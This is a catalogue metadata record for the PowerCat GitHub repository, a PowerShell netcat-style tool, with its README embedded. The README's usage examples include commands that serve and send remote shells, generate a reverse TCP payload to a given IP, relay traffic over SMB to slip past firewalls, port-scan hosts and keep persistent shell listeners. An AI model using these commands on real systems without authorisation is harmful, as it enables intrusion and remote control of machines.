{"id":13774783,"url":"https://github.com/secabstraction/powercat","last_synced_at":"2025-05-11T07:30:39.283Z","repository":{"id":51225801,"uuid":"42864857","full_name":"secabstraction/PowerCat","owner":"secabstraction","description":"A PowerShell TCP/IP swiss army knife.","archived":false,"fork":false,"pushed_at":"2017-05-01T23:25:45.000Z","size":153,"stargazers_count":559,"open_issues_count":0,"forks_count":94,"subscribers_count":39,"default_branch":"master","last_synced_at":"2024-11-26T23:32:41.113Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"PowerShell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/secabstraction.png","metadata":{"files":{"readme":"ReadMe.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2015-09-21T12:27:44.000Z","updated_at":"2024-11-15T22:57:23.000Z","dependencies_parsed_at":"2022-08-28T14:20:22.842Z","dependency_job_id":null,"html_url":"https://github.com/secabstraction/PowerCat","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/secabstraction%2FPowerCat","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/secabstraction%2FPowerCat/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/secabstraction%2FPowerCat/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/secabstraction%2FPowerCat/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/secabstraction","download_url":"https://codeload.github.com/secabstraction/PowerCat/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":253533003,"owners_count":21923346,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-03T17:01:30.250Z","updated_at":"2025-05-11T07:30:39.072Z","avatar_url":"https://github.com/secabstraction.png","language":"PowerShell","funding_links":[],"categories":["\u003ca id=\"b35965810463fb97b1ca26d94a8b62f0\"\u003e\u003c/a\u003eNetcat"],"sub_categories":[],"readme":"PowerCat\n====\nA PowerShell TCP/IP swiss army knife that works with Netcat \u0026 Ncat\u003cbr/\u003eInspired by: https://github.com/besimorhino/powercat\n\nInstallation\n------------\nPowerCat is packaged as a PowerShell module.  You must import the module to use its functions.\n```powershell\n    # Import the functions via the psd1 file:\n    Import-Module PowerCat.psd1\n```\n#### Functions \u0026 Parameters:\n```powershell    \nStart-PowerCat      # Starts a listener/server.\n    \n    -Mode           # Defaults to Tcp, can also specify Udp or Smb.\n    -Port           # The port to listen on.\n    -PipeName       # Name of pipe to listen on.\n\t\n    -SslCn\t    # Common name for Ssl encrypting Tcp.\n    -Relay          # Format: \"\u003cMode\u003e:\u003cPort/PipeName\u003e\"\n    -Execute        # Execute a console process or powershell.\n    -SendFile       # Filepath of file to send.\n    -ReceiveFile    # Filepath of file to be written.\n    -Disconnect     # Disconnect after connecting.\n    -KeepAlive      # Restart after disconnecting.\n    -Timeout        # Timeout option. Default: 60 seconds\n\t\nConnect-PowerCat    # Connects a client to a listener/server.\n\t\n    -Mode           # Defaults to Tcp, can also specify Udp or Smb\n    -RemoteIp       # IPv4 address of host to connect to.\n    -Port           # The port to connect to.\n    -PipeName       # Name of pipe to connect to.\n\t\n    -SslCn\t    # Common name for Ssl encrypting Tcp.\n    -Relay          # Format: \"\u003cMode\u003e:\u003cIP\u003e:\u003cPort/PipeName\u003e\"\n    -Execute        # Execute a console process or powershell.\n    -SendFile       # Filepath of file to send.\n    -ReceiveFile    # Filepath of file to be written.\n    -Disconnect     # Disconnect after connecting.\n    -Timeout        # Timeout option. Default: 60 seconds\n```\nBasic Connections\n-----------------------------------\nBy default, PowerCat uses TCP and reads from / writes to the console.\n```powershell\n    # Basic Listener:\n    Start-PowerCat -Port 443\n        \n    # Basic Client:\n    Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443\n```\nFile Transfer\n-------------\nPowerCat can be used to transfer files using the -SendFile and -ReceiveFile parameters.\n```powershell\n    # Send File:\n    Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -SendFile C:\\pathto\\inputfile\n        \n    # Receive File:\n    Start-PowerCat -Port 443 -ReceiveFile C:\\pathto\\outputfile\n```\nShells\n------\nPowerCat can be used to send and serve (Power)Shells using the -Execute parameter.\n```powershell\n    # Serve a shell:\n    Start-PowerCat -Port 443 -Execute\n        \n    # Send a Shell:\n    Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -Execute\n```\nUDP and SMB\n-----------\nPowerCat supports more than sending data over TCP. \n```powershell\n    # Send Data Over UDP:\n    Start-PowerCat -Mode Udp -Port 8000\n        \n    # Send Data Over SMB (easily sneak past firewalls):\n    Start-PowerCat -Mode Smb -PipeName PowerCat\n```\nSSL\n-----------\nPowerCat generates X509 certificates on-the-fly to provide SSL encryption of TCP connections. \n```powershell\n    # Admin privileges are required to generate the self-signed certificate.\n\t\n    # Serve an SSL-Encrypted (Power)Shell:\n    Start-PowerCat -Mode Tcp -Port 80 -SslCn \u003cCertificate Common Name\u003e -Execute\n        \n    # Connect to an SSL encrypted Ncat listener:\n    # Setup *nix with openssl \u0026 Ncat:\n    # openssl req -X509 -newkey rsa:2048 -subj /CN=PowerCat -days 90 -keyout key.pem -out cert.pem\n    # ncat -l -p 80 --ssl --ssl-cert cert.pem --ssl-key key.pem\n\t\n    Connect-PowerCat -Mode Tcp -RemoteIp 10.1.1.1 -Port 80 -SslCn PowerCat \n```\nRelays\n------\nRelays in PowerCat are similar to netcat relays, but you don't have to create a file or start a second process. You can also relay data between connections of different protocols.\n```powershell\n    # UDP Listener to TCP Client Relay:\n    Start-PowerCat -Mode Udp -Port 8000 -Relay tcp:10.1.1.16:443\n        \n    # TCP Listener to UDP Client Relay:\n    Start-PowerCat -Port 8000 -Relay udp:10.1.1.16:53\n        \n    # TCP Client to Client Relay\n    Connect-PowerCat -RemoteIp 10.1.1.1 -Port 9000 -Relay tcp:10.1.1.16:443\n        \n    # TCP Listener to SMB Listener Relay\n    New-PowerCat -Listener -Port 8000 -Relay smb:PowerCat\n```\nGenerate Payloads\n-----------------\nPayloads can be generated using the New-PowerCatPayload function. \n```powershell\n    # Generate a reverse tcp payload that connects back to 10.1.1.15 port 443:\n    New-PowerCatPayload -RemoteIp 10.1.1.15 -Port 443 -Execute \n        \n    # Generate a tcp payload that listens on port 8000:\n    New-PowerCatPayload -Listener -Port 8000 -Execute\n```\nMisc Usage\n----------\nPowerCat can also perform port-scans, start persistent listeners, or act as a simple web server.\n```powershell\n    # Basic TCP port scan:\n    1..1024 | ForEach-Object { Connect-PowerCat -RemoteIp 10.1.1.10 -Port $_ -Timeout 1 -Verbose -Disconnect }\n    \n    # Basic UDP port scan:\n    1..1024 | ForEach-Object { Connect-PowerCat -Mode Udp -RemoteIp 10.1.1.10 -Port $_ -Timeout 1 -Verbose }\n        \n    # Persistent listener:\n    Start-PowerCat -Port 443 -Execute -KeepAlive\n\t\n    # Simple Web Server:\n    Start-PowerCat -Port 80 -SendFile index.html\n```\nExiting\n----------\nIn most cases, the ESC key can be used to gracefully exit PowerCat.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsecabstraction%2Fpowercat","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsecabstraction%2Fpowercat","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsecabstraction%2Fpowercat/lists"}